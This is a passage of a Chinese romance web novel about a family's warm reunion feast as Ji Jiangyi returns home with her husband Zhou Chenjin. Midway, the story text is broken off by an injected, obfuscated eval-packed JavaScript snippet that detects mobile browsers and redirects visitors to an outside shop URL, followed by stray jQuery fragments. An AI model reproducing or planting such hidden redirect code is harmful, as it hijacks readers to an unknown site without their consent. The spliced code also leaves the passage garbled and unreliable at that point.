季姜行皱眉,带着些许警告的意味看展珂,突然马颠了他一下,他低头看了眼拉了下手上的缰绳。
再抬眼看过去,展珂脸上带着淡淡的笑意,冲他礼数周到地点了点头,一脸玩世不恭悠闲自得,眼中哪还有什么侵略意味。
季姜行也收起眉峰对他点了点头。
这几日相处下来展珂的一举一动他都看在眼里,他眼里蕴含着的对季姜仪的情意他再熟悉不过。
他已经不是当年的那个楞头少年,谁对谁有意,谁对谁无情,一看便知晓,若是从前能有现在的眼色,也不至于让五妹妹一再沉迷,从旁也能拦上几分。
思及此,季姜行又将这些念头甩开,总归是过去的事了,多思无益。
一行人在冰天雪地里马不停蹄,紧赶慢赶,在上元节当日的清晨,凤峪城城门楼的浅影远远出现在了一片宁静白雪之间。
一路上,季姜仪按着周陈谨坐在马车上,又每日两回给他换药,肩上的伤口有愈合之势结了痂,这么下去再养几日便可拆线,正如他所说确实是皮肉伤好的快。
眼见着要到凤峪城,周陈谨也不好还乘马车。
下车前,季姜仪忍不住多嘱咐了一句:“你骑马当心些。”
周陈谨回身眼里带着无尽的温柔和笑意:“好。”
春夏与秋冬在一旁含着笑低头不语,这几日同乘马车,她们俩算是看了个明白,她们家姑娘不知道为何态度大变,与这姑爷像是情投意合一般。
春夏间周陈谨走远便打趣道:“姑娘,我们以后是不是要改口管将军叫姑爷了?”
季姜仪嗔她一眼含着笑没说话,低头把玩着手炉上坠着的双结穗子。
春夏咬唇偷笑,秋冬也欣慰,这两人陪着季姜仪长大,她的心思她们总是能猜个七八分,如今能接纳正儿八经的姑爷是最好不过的。
凤峪城越来越近,晌午日头晒的更好前,一行人到了城门下,远远望去,城墙上站着的不是季山文和季姜白又是谁?
远远早就见他们一行人靠近,府里都差人跑了好几趟了。
季姜行打头,队伍浩浩荡荡地进了城门。
季山文与季姜白站在道路边,众人都赶忙从马上跳下来,季姜行先一步迎了上去,周陈谨跟在一旁。
“岳父,大哥。”周陈谨上前恭敬地拱手行礼:“还劳烦四弟亲自来迎,是陈谨不够周到。”
季山文摆手将他搀住:“行儿自己按捺不住性子,要不是我拦着他恨不得迎到玉掖去。”
几人还要再寒暄。
待马车停稳,季姜仪也探出身子,正要跳下车。
季姜白见状赶忙拦住她:“五妹妹别折腾了,仔细冻着,先回去再说。”
又转身对季山文说:“父亲,有话回府上再说吧,府上催着呢,一会儿祖母与母亲又该派人过来了。”
季山文忙道:“对对,这里不是寒暄的好地方,先回府咱们先回府再说,你祖母母亲姐姐们都候着呢。”
穿过喧闹的凤峪街头,一路到了季府门口,门口热闹,听说她们要到,都赶出来迎接。
季老夫人发间缀着些许银丝雍容华贵地被簇拥着站在中间,满脸的笑意,一派慈爱地看着季姜仪从马车上下来,一旁的季夫人搀着老夫人的胳膊也是喜不自胜。
二姐姐季姜妍一家与三姐姐季姜月一家也在,都笑盈盈地看着她。
季姜仪和周陈谨走上前与大家一一行过礼。
季老太太拉过季姜仪的手将自己手中的手炉递过去,抚着她爱不释手:“怎的手里这么凉,赶路过来颠簸一路可累着了吧?我瞧着你消瘦了些,可是路上没胃口少吃了?”拉着她的手将她通身看了个遍。
季姜仪刚要回话,季夫人拉着她另一只手对季老太太说:“母亲,外面风大,咱们快进屋吧,边走边说。”
“是啊,仔细吹着风。”季姜仪搀着老太太的手扶着她往屋里走。
大家伙儿有说有笑地进了门,穿过院子进了前厅落座。
他们计算的不差,到府上正是晌午时分,桌上已经摆上了酥心斋的各色点心都是季姜仪爱吃的,下面的人开始一道道上菜来。
“姜仪,这道椒麻鱼是你爱吃的,这鱼一早送来的,新鲜。”
“姜仪,酥心斋的芙蓉糕刚送来的还热乎着呢。”
“姜仪,这奶茶里加了红豆熬出来的,香甜得很,尝尝。”
“姜仪,若是冷的话差人多送两只炉子上来。”
大家你一言我一语的都关切着季姜仪,她含着笑都快要答不过来。
“好姐姐好太太们,你们一个个可把她心疼的,这一路上到坐下关切都有八百句,她都眼花缭乱都不知给应谁的了。”季姜行歪靠在垫子上作出一脸无语的样子。
“也不知道谁眼巴巴地早早就出去接了,恨不得一路接到玉掖去。”季姜月与季姜行只差一岁,两人从小不对付到大,一见面总是要呛几句。
“你想去还去不着呢,年前说学骑马呢,这么久了可能自己上马了?”季姜行嘴上功夫了得,很少落了下风的。
季姜月白了他一眼,向季姜妍投去求救的眼神。
“坐没个坐相,就知道与你三姐姐斗嘴,骑马的事儿可是能着急的?”季姜妍架不住妹妹哀求的眼神含着笑无奈道。
季姜妍在整个凤峪的闺阁女子中,打小就是品貌出众,兰心蕙性众人的表率。帮着季夫人打理府上管理铺面庄子都十分妥帖,琴棋书画也是无不精通的,在家中弟弟妹妹面前自有几分威严。
季姜行见二姐姐只管给三姐姐帮忙也是不依,纠缠着非是不愿意。
季老太太与季夫人等人在一旁含着笑瞧热闹,这出戏码每回家宴都要上演。
季山文与季姜白只管低头吃酒,若是这个时候出面调解,又要被老太太说一回家宴之上何必这样子无趣刻板,两人都是吃过亏的。
季姜仪这个始作俑者更是乖巧地坐在一边唯恐这火延及她身上。
周陈谨瞧着这一家子的热闹,又看着一旁的季姜仪含着笑满脸幸福惬意,也忍不住勾起唇。
难怪她经历过那样的事还能长得这样好,在季家的这些年,季家人应是一直都这样用他们的爱意和这样其乐融融的氛围滋养着她。
幸好,她遇到的是这样的一家人。
周陈谨低头,心中从未有过的庆幸。
幸好。
季姜妍被缠得烦了,见他左右也不罢休,便只好对季姜月也说:“还有你,人没招惹你,你总是先起绊子,还拉我当靠山,左右我也不管了,你们争去。”
季姜行见二姐姐也说了季姜月,便得意地对她做鬼脸,季姜月更是气不过,两人你一言我一语的又开始互
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614712|206048||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
呛了。
季姜月眼见着说不过,眼珠子一转,露出一脸坏笑,冲着坐在季姜行身旁一直含着淡淡的笑低头专注喝茶的人开了口。
“弟妹,你管管季姜行呀,看他怎么对姐姐说话的。”
季姜行瞪她一眼咬牙切齿的,却又无可奈何地泄下气来,他坐好偷摸看了身边的人一眼。
身边的人见众人都把目光移向她,她放下手中的茶,抬起脸来对着季姜月笑道:“三姐姐说笑了,我哪里管得了呢。”声音清冷柔和带着一丝淡淡的疏离,说完便带着笑意看了眼正盯着她的季姜行。
季姜行换上一副温柔带着点讨好的笑,噤了声,将面前碟子里的虾球挪给了她。
大家看到季姜行这副样子都忍不住偷笑,季姜月也坏笑着冲季姜仪眨了眨眼。
季姜仪看向季姜行身边的人,她穿一身浅蓝色素裙,素净淡雅,发髻上倒是戴了鎏金的头面缀着玉钗,季姜仪知道那不是她平日里喜欢的打扮,是为了这家宴特意装扮的。对方冲她笑了一下点了点头,她也笑着点点头,算是打了个招呼。
一顿饭吃的好不热闹,说说笑笑其乐融融,饭罢,一行人坐在厅里吃点心喝茶。
季姜仪把在玉掖买的礼物一一拿出来分给大家,小辈们得了礼物欢天喜地闹做一团。
季姜仪早起赶路,到府上又说了许多话,渐渐开始乏了,季老夫人便叫大家都散了,让季姜仪去休息小憩,待到日落之后上街赏花灯去。
季姜仪一路回到自己原先住的院子,祖母叫都给原样不动,日日叫人打扫着。
打开门,一切都还是老样子,小径上的雪给扫开堆在树下,连着府上园子小湖的一弯活水还在静静地流淌着,那颗桃树枝上还残留了几点雪痕。
季姜仪看着院中熟悉的一切不禁动容,更加有了回家的实感。
她住的院子是府上除了主院和季老太太的院子外最大的,周陈谨只停留两日,于是就被安排住在她院中。
周陈谨跟着她回到院中,走在她身边,看着她一路上雀跃不已,他也跟着心情好。
是她的院子。
他环视院中的景致,他心中暗暗记下,原来她喜欢的是这样的布景。
季姜仪的屋子早就被收拾出来,周陈谨被安排在她斜后房的屋中,那屋子就挨着之前祖母的屋子。
季姜仪盥洗一番眯了一小会儿,见外面阳光正好,一派静谧,院中派来的小丫鬟们都是她之前房中原有的。
春夏与秋冬在前院帮忙将她从玉掖带回来的礼物归置清点入库。
是以,她自己一个人站在诺大的院中,看着凋零空荡荡的桃树枝在残雪上的倒影发呆,看了一会儿,她转头绕到屋后,穿过一片梅林来到祖母之前居住过的屋子门前。
推开门,一股子微微的霉味带着久无人住的冷冽气息扑面而来,房中的布局还是跟以前一样,都还保持着祖母生前的样子。
祖母剩下不多贴身要紧的东西她随身带去了凤峪,房中剩下的都是祖母生前常用的物件,她决心日后待一切都尘埃落定有机会的话她会将这些东西全部搬到属于她的地方去,专辟一件屋子放置。
她在房中坐了许久,门敞开着,吹进来的风让她感觉凉意,她裹紧披肩,走了出去。
刚出门就看到站在一边檐廊下的周陈谨,他也朝她看了过来。